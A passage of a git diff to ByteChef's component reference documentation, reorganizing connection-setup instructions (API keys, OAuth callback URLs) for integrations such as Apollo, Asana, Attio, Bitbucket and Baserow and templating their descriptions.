-Use this when you want each user to authorize access to their own Apollo account.
-
-1. In Apollo, go to the bottom-left menu and click on **Admin Settings**.
-2. Click on **Integrations**.
-3. Find **API** and click **Connect**.
-4. Choose **OAuth registration** and provide:
-   - App name and logo
-   - Add the ByteChef OAuth callback URL to your app:
-        - `https://app.bytechef.io/callback` (Cloud)
-        - `http://127.0.0.1:5173/callback` (Local development)
-   - Scopes: select only the scopes your workflows need (principle of least privilege).
-5. Verify OAuth Redirect URL if needed.
-6. Submit the registration and copy the generated **Client ID** and **Client Secret**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/mOQy8R4hUg3BWUztZ6ph?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -157,8 +118,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Deal
 Name: createDeal
 
@@ -228,8 +187,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Enrich Person
 Name: enrichPerson
 
@@ -304,8 +261,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Enrich Company
 Name: enrichCompany
 
@@ -368,11 +323,51 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Apollo to ByteChef using either an API Key or OAuth 2.0 (Authorization Code), depending on whether you want a single server-owned key or user-consented access.
+
+### Option 1 — API Key
+Use this when you have an Apollo API key and do not require end-user OAuth consent.
+
+1. In Apollo, go to the bottom-left menu and click on **Admin Settings**.
+2. Click on **Integrations**.
+3. Find **API** and click **Connect**.
+4. Open the **API Keys** tab.
+5. Click **+ Create new key**.
+6. Enter a descriptive name and description.
+7. Choose the specific endpoints the key should access (least privilege), or enable **Set as master key** only if your use case requires broad access.
+8. Click **Create API key**. Copy the key value and store it securely.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/KVEx8pfDMofgNPhdIc6q?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
+
+### Option 2 — OAuth 2.0 Authorization Code
+Use this when you want each user to authorize access to their own Apollo account.
+
+1. In Apollo, go to the bottom-left menu and click on **Admin Settings**.
+2. Click on **Integrations**.
+3. Find **API** and click **Connect**.
+4. Choose **OAuth registration** and provide:
+   - App name and logo
+   - Add the ByteChef OAuth callback URL to your app:
+        - `https://app.bytechef.io/callback` (Cloud)
+        - `http://127.0.0.1:5173/callback` (Local development)
+   - Scopes: select only the scopes your workflows need (principle of least privilege).
+5. Verify OAuth Redirect URL if needed.
+6. Submit the registration and copy the generated **Client ID** and **Client Secret**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/mOQy8R4hUg3BWUztZ6ph?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/approval-link_v1.mdx b/docs/content/docs/reference/components/approval-link_v1.mdx
index 363232a2092..0f443e52f9a 100644
--- a/docs/content/docs/reference/components/approval-link_v1.mdx
+++ b/docs/content/docs/reference/components/approval-link_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Approval Link"
-description: "The Approval Link component that create approval/disapproval links."
+description: "Approval Link integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Approval Link
 ---
 
-
 Categories: Developer Tools, File Storage
 
 
@@ -33,12 +32,4 @@ Name: createApprovalLinks
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/asana_v1.mdx b/docs/content/docs/reference/components/asana_v1.mdx
index b78f58e6a6c..86d4504e965 100644
--- a/docs/content/docs/reference/components/asana_v1.mdx
+++ b/docs/content/docs/reference/components/asana_v1.mdx
@@ -30,29 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create Asana App
-
-1. Navigate to [Asana Developer](https://app.asana.com/0/my-apps) dashboard.
-2. Click on **Create new app**.
-3. Enter app name.
-4. Check everything.
-5. Agree to the Terms.
-6. Click on **Create app**.
-7. Here you can see your **Client ID** and **Client secret**.
-8. Click on **OAuth**.
-9. Click on **Add redirect URL**.
-10. Add redirect URL depending on your instance:
-    - `https://app.bytechef.io/callback` (Cloud)
-    - `http://localhost:5173/callback` (Local dev)
-11. Click on **Add**.
-12. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6a4aa71b-42d9-4edf-9a31-476b730cbd0b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -125,8 +102,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -201,11 +176,35 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create Asana App
+
+1. Navigate to [Asana Developer](https://app.asana.com/0/my-apps) dashboard.
+2. Click on **Create new app**.
+3. Enter app name.
+4. Check everything.
+5. Agree to the Terms.
+6. Click on **Create app**.
+7. Here you can see your **Client ID** and **Client secret**.
+8. Click on **OAuth**.
+9. Click on **Add redirect URL**.
+10. Add redirect URL depending on your instance:
+    - `https://app.bytechef.io/callback` (Cloud)
+    - `http://localhost:5173/callback` (Local dev)
+11. Click on **Add**.
+12. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/6a4aa71b-42d9-4edf-9a31-476b730cbd0b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/attio_v1.mdx b/docs/content/docs/reference/components/attio_v1.mdx
index 4a110e3f588..4d1ae468787 100644
--- a/docs/content/docs/reference/components/attio_v1.mdx
+++ b/docs/content/docs/reference/components/attio_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Attio"
-description: "Attio is the AI-native CRM that builds, scales and grows your company to the next level."
+description: "Attio integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Attio
 ---
 
-
 Categories: CRM
 
 
@@ -29,24 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find Access Token
-
-1. Navigate to your dashboard.
-2. Click on **Workspace** settings.
-3. Click on **Developers**.
-4. Click on **Create access token**.
-5. Enable **Records**.
-6. Enable **Tasks**.
-7. Enable **Webhooks**.
-8. Click on **Save changes**.
-9. Click here to copy the access token.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f3571405-232f-4675-ab98-5271167d3b25?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -138,8 +119,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -219,8 +198,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Record
 Name: updateRecord
 
@@ -307,8 +284,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## Triggers
 
 
@@ -348,7 +323,6 @@ Type: OBJECT
 ```
 
 
-
 ### Task Created
 Name: taskCreated
 
@@ -387,4 +361,24 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find Access Token
+
+1. Navigate to your dashboard.
+2. Click on **Workspace** settings.
+3. Click on **Developers**.
+4. Click on **Create access token**.
+5. Enable **Records**.
+6. Enable **Tasks**.
+7. Enable **Webhooks**.
+8. Click on **Save changes**.
+9. Click here to copy the access token.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/f3571405-232f-4675-ab98-5271167d3b25?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/aws-s3_v1.mdx b/docs/content/docs/reference/components/aws-s3_v1.mdx
index ddccccf8b55..bf93e5a8943 100644
--- a/docs/content/docs/reference/components/aws-s3_v1.mdx
+++ b/docs/content/docs/reference/components/aws-s3_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "AWS S3"
-description: "AWS S3 is a simple object storage service provided by Amazon Web Services."
+description: "Aws S3 integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: AWS S3
 ---
 
-
 Categories: Developer Tools, File Storage
 
 
@@ -34,7 +33,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -96,8 +94,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Get URL
 Name: getUrl
 
@@ -139,8 +135,6 @@ Type: STRING
 
 
 
-
-
 ### List Objects
 Name: listObjects
 
@@ -195,8 +189,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Get Pre-signed Object
 Name: presignGetObject
 
@@ -235,8 +227,6 @@ Type: STRING
 
 
 
-
-
 ### Put Object
 Name: putObject
 
@@ -271,12 +261,4 @@ Name: putObject
 
 #### Output
 
-This action does not produce any output.
-
-
-
-
-
-
-
-
+This action does not produce any output.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/azure-open-ai_v1.mdx b/docs/content/docs/reference/components/azure-open-ai_v1.mdx
index 09d94b1d9a7..a88c59e0bf8 100644
--- a/docs/content/docs/reference/components/azure-open-ai_v1.mdx
+++ b/docs/content/docs/reference/components/azure-open-ai_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Azure OpenAI"
-description: "Azure OpenAI is a research organization that aims to develop and direct artificial intelligence (AI) in ways that benefit humanity as a whole."
+description: "Azure Open Ai integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Azure OpenAI
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -116,8 +114,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Create Image
 Name: createImage
 
@@ -182,8 +178,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Transcriptions
 Name: createTranscription
 
@@ -224,12 +218,4 @@ Name: createTranscription
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/bamboohr_v1.mdx b/docs/content/docs/reference/components/bamboohr_v1.mdx
index b16649baab5..bc996cd2cd4 100644
--- a/docs/content/docs/reference/components/bamboohr_v1.mdx
+++ b/docs/content/docs/reference/components/bamboohr_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "BambooHR"
-description: "BambooHR is a human resources software that helps HR teams manage employee data, hiring, onboarding, time tracking, payroll, performance management, and more in one platform."
+description: "Bamboohr integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: BambooHR
 ---
 
-
 Categories: Human Resources Information System
 
 
@@ -30,19 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to the dashboard at https://app.bamboohr.com/login/.
-2. Click on My Account.
-3. Click on API Keys.
-4. Click Add New Key.
-5. Name new API key and click Generate Key.
-6. Copy the API key and click Done. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/V3Fd5SWAOezyTktpFiwX?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -112,8 +98,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Employee
 Name: updateEmployee
 
@@ -156,8 +140,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get Employee
 Name: getEmployee
 
@@ -190,8 +172,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Update Employee File
 Name: updateEmployeeFile
 
@@ -231,8 +211,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -269,7 +247,6 @@ The output for this action is dynamic and may vary depending on the input parame
 ```
 
 
-
 ### New Employee
 Name: newEmployee
 
@@ -300,4 +277,19 @@ Type: STRING
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Login to the dashboard at https://app.bamboohr.com/login/.
+2. Click on My Account.
+3. Click on API Keys.
+4. Click Add New Key.
+5. Name new API key and click Generate Key.
+6. Copy the API key and click Done. Use these credentials to create a connection in ByteChef.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/V3Fd5SWAOezyTktpFiwX?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/baserow_v1.mdx b/docs/content/docs/reference/components/baserow_v1.mdx
index e83f14f136b..2c8e96ecfed 100644
--- a/docs/content/docs/reference/components/baserow_v1.mdx
+++ b/docs/content/docs/reference/components/baserow_v1.mdx
@@ -29,23 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Baserow to ByteChef using a Database Token.
-
-### Create a Database Token in Baserow
-1. Log in to Baserow.
-2. Open your avatar menu and go to **My settings**.
-3. In the left sidebar, select **Database tokens**.
-4. Click **Create token +**.
-5. Enter a clear name (for example, `ByteChef integration`).
-6. Choose the workspace this token should access and set the required permissions (read/create/update/delete) for the tables you plan to use.
-7. Click **Create token** and copy the generated token value.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/QfJHcuWyOrS64tWpbTu2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -87,11 +70,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-#### Find table ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
-
-
 
 ### Delete Row
 Name: deleteRow
@@ -124,13 +102,6 @@ This action does not produce any output.
 
 
 
-#### Find table ID and record ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
-
-To find the Record ID, click [here](/reference/components/baserow_v1#how-to-find-your-record-id).
-
-
 
 ### Get Row
 Name: getRow
@@ -165,13 +136,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-#### Find table ID and record ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
-
-To find the Record ID, click [here](/reference/components/baserow_v1#how-to-find-your-record-id).
-
-
 
 ### List Rows
 Name: listRows
@@ -208,11 +172,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-#### Find table ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
-
-
 
 ### Update Row
 Name: updateRow
@@ -249,13 +208,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-#### Find table ID and record ID
-
-To find the Table ID, click [here](/reference/components/baserow_v1#how-to-find-your-table-id).
-
-To find the Record ID, click [here](/reference/components/baserow_v1#how-to-find-your-record-id).
-
-
 
 
 
@@ -269,54 +221,19 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
-### How to find your table ID
-
-You have various methods to find your Baserow table ID:
-
-- **Method 1: Through database tokens**
-
-1. Click on your workspace in the top left corner.
-2. Select **Settings** -> **Database tokens**.
-3. Click on your token.
-4. Select **Show databases**.
-5. Your table IDs will be listed alongside table names.
-
-- **Method 2: Check the database API documentation**
-
-Similar to finding your database ID, the API documentation displays all table IDs within your database.
-
-1. Go to your database settings.
-2. Look for the **View API docs** link.
-3. Baserow auto-generates documentation showing all table IDs and field structures.
-- Example URL: `https://api.baserow.io/api/database/tables/database/DATABASE_ID/`
-- Authorization: `Token YOUR_API_TOKEN`
-- Response includes all tables with their IDs.
-
-- **Method 3: Table options menu**
-
-1. Click the three dots next to any table name.
-2. The table ID appears in brackets next to the table name.
-- Example: `Customer Data (12345)` where `12345` is your table ID.
-
-- **Method 4: Browser URL**
-
-1. Open the table you want to connect in Baserow.
-2. Look at the browser address bar.
-3. The URL structure is: `https://baserow.io/database/DATABASE_ID/table/TABLE_ID/...`
-4. Extract the number after `/table/`.
-
-### How to find your record ID
-
-Baserow row IDs are permanent identifiers for each record. Unlike row counts, they don't change when you sort or delete other rows.
-
-- **Method 1: Grid view**
+## Connection Setup
 
-The row ID is typically visible in the grid view. Note that if you switch to other views like Kanban or Form, the row ID column might not be visible by default.
+Connect Baserow to ByteChef using a Database Token.
 
-- **Method 2: Browser URL**
+### Create a Database Token in Baserow
+1. Log in to Baserow.
+2. Open your avatar menu and go to **My settings**.
+3. In the left sidebar, select **Database tokens**.
+4. Click **Create token +**.
+5. Enter a clear name (for example, `ByteChef integration`).
+6. Choose the workspace this token should access and set the required permissions (read/create/update/delete) for the tables you plan to use.
+7. Click **Create token** and copy the generated token value.
 
-1. Open the table in Baserow.
-2. Expand the row you want to identify to its full view.
-3. Look at your browser’s address bar.
-4. The URL structure will be: `https://baserow.io/database/DATABASE_ID/table/TABLE_ID/ROW_ID/row/RECORD_ID`
-5. The last part of the URL is your record ID.
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/QfJHcuWyOrS64tWpbTu2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/bash_v1.mdx b/docs/content/docs/reference/components/bash_v1.mdx
index bb56b334348..03dabfc3f57 100644
--- a/docs/content/docs/reference/components/bash_v1.mdx
+++ b/docs/content/docs/reference/components/bash_v1.mdx
@@ -1,10 +1,8 @@
 ---
-title: "Bash"
-description: "Allows you to run arbitrary Bash scripts."
+description: "Bash component for ByteChef. Execute scripts and system commands. Run custom automation logic. Learn how to implement this in your ByteChef automation."
+title: Bash
 ---
 
-
-
 Type: bash/v1
 
 <hr />
@@ -47,16 +45,4 @@ ___Sample Output:___
 
 
 
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-
-
+Type: STRING
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/beamer_v1.mdx b/docs/content/docs/reference/components/beamer_v1.mdx
index bd49848e4bc..b8880f79f38 100644
--- a/docs/content/docs/reference/components/beamer_v1.mdx
+++ b/docs/content/docs/reference/components/beamer_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Beamer"
-description: "Beamer is a customer engagement platform that helps businesses communicate updates, collect feedback, and boost user engagement through in-app notifications, changelogs, and announcements."
+description: "Beamer integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Beamer
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -29,22 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your Beamer dashboard.
-2. Click on **Settings**.
-3. Click on **API**.
-4. Click on **Create new API key**.
-5. Enter name of your new API key.
-6. Enable everything and **Copy** your API key.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/712b8654-7903-40cc-93a8-0b3bebf18cac?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -143,8 +126,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Post
 Name: createPost
 
@@ -221,8 +202,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Feed
 Name: getFeed
 
@@ -261,8 +240,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### New Comment
 Name: newComment
 
@@ -336,8 +313,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### New Vote
 Name: newVote
 
@@ -408,8 +383,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -463,4 +436,22 @@ Items Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find API Key
+
+1. Navigate to your Beamer dashboard.
+2. Click on **Settings**.
+3. Click on **API**.
+4. Click on **Create new API key**.
+5. Enter name of your new API key.
+6. Enable everything and **Copy** your API key.
+
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/712b8654-7903-40cc-93a8-0b3bebf18cac?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/binance_v1.mdx b/docs/content/docs/reference/components/binance_v1.mdx
index dbf5f02970c..97d3c86cecc 100644
--- a/docs/content/docs/reference/components/binance_v1.mdx
+++ b/docs/content/docs/reference/components/binance_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Binance"
-description: "Binance is an online exchange where users can trade cryptocurrencies."
+description: "Binance integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Binance
 ---
 
-
 Categories: Payment Processing
 
 
@@ -63,10 +62,4 @@ Type: OBJECT
   "symbol" : "",
   "price" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/bitbucket_v1.mdx b/docs/content/docs/reference/components/bitbucket_v1.mdx
index a506a8d8700..c1214c148c3 100644
--- a/docs/content/docs/reference/components/bitbucket_v1.mdx
+++ b/docs/content/docs/reference/components/bitbucket_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Bitbucket"
-description: "Elevate your software delivery from planning to production and beyond, with built-in AI, CI/CD, and a best-in-class Jira integration."
+description: "Bitbucket integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Bitbucket
 ---
 
-
 Categories: Project Management
 
 
@@ -30,40 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Bitbucket API Token Creation
-
-1. Go to the [Bitbucket website](https://bitbucket.org).
-2. Click **Settings**.
-3. Click **Atlassian account settings**.
-4. Click **Security**.
-5. Click **Create and manage API tokens**.
-6. Click **Create API token with scopes**.
-7. Enter name of your API token.
-8. Choose expiry date of your API token.
-9. Click **Next**.
-10. Select **Bitbucket**.
-11. Click **Next**.
-12. Find and select these scopes:
-  -   admin:project:bitbucket
-  -   admin:repository:bitbucket
-  -   delete:webhook:bitbucket
-  -   read:project:bitbucket
-  -   read:repository:bitbucket
-  -   read:user:bitbucket
-  -   read:webhook:bitbucket
-  -   read:workspace:bitbucket
-  -   write:webhook:bitbucket
-13. After you have selected scopes click **Next**.
-14. Click **Create token**.
-15. Click on **Copy**. Make sure to save your newly created API token because after this step you won’t be able to view it again.
-16. Click **Close**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/007d698d-c90e-4083-b1c7-2e4fa0ec1415?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -218,8 +183,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Project
 Name: createProject
 
@@ -277,8 +240,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### List Projects
 Name: listProjects
 
@@ -360,8 +321,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### List Repositories
 Name: listRepositories
 
@@ -494,8 +453,6 @@ Items Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -534,10 +491,46 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Bitbucket API Token Creation
+
+1. Go to the [Bitbucket website](https://bitbucket.org).
+2. Click **Settings**.
+3. Click **Atlassian account settings**.
+4. Click **Security**.
+5. Click **Create and manage API tokens**.
+6. Click **Create API token with scopes**.
+7. Enter name of your API token.
+8. Choose expiry date of your API token.
+9. Click **Next**.
+10. Select **Bitbucket**.
+11. Click **Next**.
+12. Find and select these scopes:
+  -   admin:project:bitbucket
+  -   admin:repository:bitbucket
+  -   delete:webhook:bitbucket
+  -   read:project:bitbucket
+  -   read:repository:bitbucket
+  -   read:user:bitbucket
+  -   read:webhook:bitbucket
+  -   read:workspace:bitbucket
+  -   write:webhook:bitbucket
+13. After you have selected scopes click **Next**.
+14. Click **Create token**.
+15. Click on **Copy**. Make sure to save your newly created API token because after this step you won’t be able to view it again.
+16. Click **Close**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/007d698d-c90e-4083-b1c7-2e4fa0ec1415?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/bolna_v1.mdx b/docs/content/docs/reference/components/bolna_v1.mdx
index f757b14d100..7fdefccc164 100644
--- a/docs/content/docs/reference/components/bolna_v1.mdx
+++ b/docs/content/docs/reference/components/bolna_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Bolna"
-description: "Bolna AI is an open-source platform that enables businesses to create and deploy voice-driven conversational agents"
+description: "Bolna integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Bolna
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -29,17 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to the dashboard at https://platform.bolna.ai.
-2. Navigate to Developers tab from the left menu bar after login.
-3. Click the button Create a new API Key to generate a key.
-4. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/z1FIORugGHA7hrd5hxXY?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -102,8 +90,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -131,4 +117,17 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
 
+1. Login to the dashboard at https://platform.bolna.ai.
